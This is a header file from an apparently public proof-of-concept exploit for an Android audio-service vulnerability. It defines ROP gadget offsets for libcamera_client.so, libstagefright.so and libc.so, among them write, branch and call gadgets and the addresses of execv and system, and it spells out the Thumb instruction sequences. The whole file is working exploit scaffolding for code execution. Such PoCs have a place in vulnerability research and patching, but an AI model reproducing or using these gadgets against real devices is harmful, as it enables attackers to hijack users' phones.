4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gadgets.h H
#ifndef __GADGETS_H__
#define __GADGETS_H__

namespace android {

/**
 * Represents the needed information about a gadget used.
 */
struct gadget_info {
	//The offset of the library containing the gadget from the library containing the modified pointers.
	//In this case, this is the offset between the base address of the containing library and the 
	//audio.primary.goldfish.so library.
	int library_offset;

	//The offset of the gadget from the load address of the library in which it is contained.
	int gadget_offset; 
};

//The write gadget which is contained in libcamera_client.so
//The actual gadget is:
// LDR R2, [R1, #0]
// STR R2, [R0, #0]
// LDR R1, [R1, #4]
// LDR.W R2, [R2, #-12]
// STR R1, [R0, R2]
// BX LR
struct gadget_info write_gadget_info = {
	.library_offset = -0xA91000,
	.gadget_offset = 0x208f0 + 1, //THUMB
};

//The BX-LR gadget, which is contained in libcamera_client.so
struct gadget_info bx_lr_gadget_info = {
	.library_offset = -0xA91000,
	.gadget_offset = 0x208FC + 1, //THUMB
};

struct gadget_info read_r0_offset_108 =  {
	.library_offset = -0x4F0000,
	.gadget_offset = 0x25302 + 1,
};

//The gadget used to call a function, contained in libstagefright.so
//The actual gadget is:
// LDR R3, [R0, #36]
// LDR R0, [R0, #32]
// BLX R3
struct gadget_info blx_gadget = {
	.library_offset = -0x804000,
	.gadget_offset = 0x5EF88 + 1, //THUMB
};

//The location information of the "execv" function in libc.so
struct gadget_info execv_gadget = {
	.library_offset = -0xD8E000,
	.gadget_offset = 0x1E6B0 +1, //THUMB
};

struct gadget_info system_gadget = {
	.library_offset = -0xD8E000,
	.gadget_offset = 0x1FC00 + 1, //THUMB
};

}

#endif